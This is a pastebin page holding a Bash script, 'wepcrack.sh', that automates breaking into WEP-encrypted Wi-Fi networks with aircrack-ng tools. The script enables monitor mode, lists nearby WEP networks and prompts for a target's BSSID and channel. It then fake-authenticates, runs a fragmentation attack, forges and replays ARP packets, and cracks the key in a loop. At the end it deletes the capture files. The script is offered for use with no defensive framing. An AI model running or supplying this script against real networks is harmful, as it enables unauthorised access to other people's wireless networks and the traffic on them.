WEP Crack


SUBMITTED BY: Guest

DATE: Dec. 6, 2013, 9:08 a.m.

FORMAT: Bash

SIZE: 5.1 kB

HITS: 672

  1. #!/bin/bash
  2. # wepcrack.sh
  3. #
  4. # This tool requires aircrack-ng tools to be installed and run as root
  5. #
  6. # ChangeLog....
  7. VERSION="1.0"
  8. # Version 1.0 - First Release
  9. #################################################################
  10. # CHECKING FOR ROOT
  11. #################################################################
  12. if [ `echo -n $USER` != "root" ]
  13. then
  14. echo "MESSAGE:"
  15. echo "MESSAGE: ERROR: Please run as root!"
  16. echo "MESSAGE:"
  17. exit 1
  18. fi
  19. #################################################################
  20. # CHECKING TO SEE IF INTERFACE IS PROVIDED
  21. #################################################################
  22. if [ -z ${1} ]
  23. then
  24. echo "MESSAGE: Version number ${VERSION}"
  25. echo "MESSAGE: Usage: `basename ${0}` [interface] [BSSID] [channel]"
  26. echo "MESSAGE: Example #`basename ${0}` wlan0 (everything else is optional)"
  27. exit 1
  28. else
  29. INTERFACE="`echo "${1}" | cut -c 1-6`"
  30. echo "MESSAGE: Putting ${INTERFACE} in monitor mode"
  31. fi
  32. #################################################################
  33. # PUT WIFI IN MONITOR MODE
  34. #################################################################
  35. airmon-ng start ${INTERFACE}
  36. iwconfig ${INTERFACE} # mon0
  37. #################################################################
  38. # GET INTERFACE MAC ADDRESS
  39. #################################################################
  40. MACADDRESS=`ifconfig ${INTERFACE} | grep ${INTERFACE} | tr -s ' ' | cut -d ' ' -f5 | cut -c 1-17`
  41. #################################################################
  42. # CHECK IF BSSID,CHANNEL & TARGETNAME WERE PROVIDED
  43. #################################################################
  44. if [ -z ${2} ] || [ -z ${3} ] ; then
  45. #################################################################
  46. # SHOW VISIBLE WEP NETWORKS
  47. #################################################################
  48. echo "MESSAGE: Will now display all visible WEP networks"
  49. echo "MESSAGE: Once you have identified the network you wish to target press Ctrl-C to exit"
  50. read -p "MESSAGE: Press enter to view networks"
  51. airodump-ng --encrypt WEP ${INTERFACE} # mon0
  52. #################################################################
  53. # USER INPUT DETAILS FROM AIRODUMP
  54. #################################################################
  55. while true
  56. do
  57. echo -n "MESSAGE: Please enter the target BSSID here: "
  58. read -e BSSID
  59. echo -n "MESSAGE: Please enter the target channel here: "
  60. read -e CHANNEL
  61. echo "MESSAGE: Target BSSID : ${BSSID}"
  62. echo "MESSAGE: Target Channel : ${CHANNEL}"
  63. echo "MESSAGE: Interface MAC Address : ${MACADDRESS}"
  64. echo -n "MESSAGE: Is this information correct? (y or n): "
  65. read -e CONFIRM
  66. case $CONFIRM in
  67. y|Y|YES|yes|Yes)
  68. break ;;
  69. *) echo "MESSAGE: Please re-enter information"
  70. esac
  71. done
  72. fi
  73. #################################################################
  74. # START AIRODUMP IN XTERM WINDOW
  75. #################################################################
  76. echo "MESSAGE: Starting packet capture - Ctrl-c to end it"
  77. xterm -e "airodump-ng -c ${CHANNEL} --bssid ${BSSID} --ivs -w capture ${INTERFACE}" & AIRODUMPPID=$!
  78. sleep 2
  79. #################################################################
  80. # ASSOCIATE WITH AP & THEN PERFORM FRAGMENTATION ATTACK
  81. #################################################################
  82. aireplay-ng -1 0 -a ${BSSID} -h ${MACADDRESS} ${INTERFACE}
  83. aireplay-ng -5 -b ${BSSID} -h ${MACADDRESS} ${INTERFACE}
  84. packetforge-ng -0 -a ${BSSID} -h ${MACADDRESS} -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-packet ${INTERFACE}
  85. xterm -e "aireplay-ng -2 -r arp-packet ${INTERFACE}" & AIREPLAYPID=$!
  86. #################################################################
  87. # ATTEMPTING TO CRACK
  88. #################################################################
  89. while true
  90. do
  91. aircrack-ng -n 128 -b ${BSSID} *.ivs
  92. echo -n "MESSAGE: Did you get the key?: (y or no)"
  93. read -e CONFIRM
  94. case $CONFIRM in
  95. y|Y|YES|yes|Yes)
  96. break ;;
  97. *) echo "MESSAGE: Will attempt to crack again" & sleep 3
  98. esac
  99. done
  100. #################################################################
  101. # DELETE FILES CREATED DURING WEP CRACKING
  102. #################################################################
  103. kill ${AIRODUMPPID}
  104. kill ${AIREPLAYPID}
  105. airmon-ng stop ${INTERFACE}
  106. rm *.ivs *.cap *.xor
  107. exit 0

comments powered by Disqus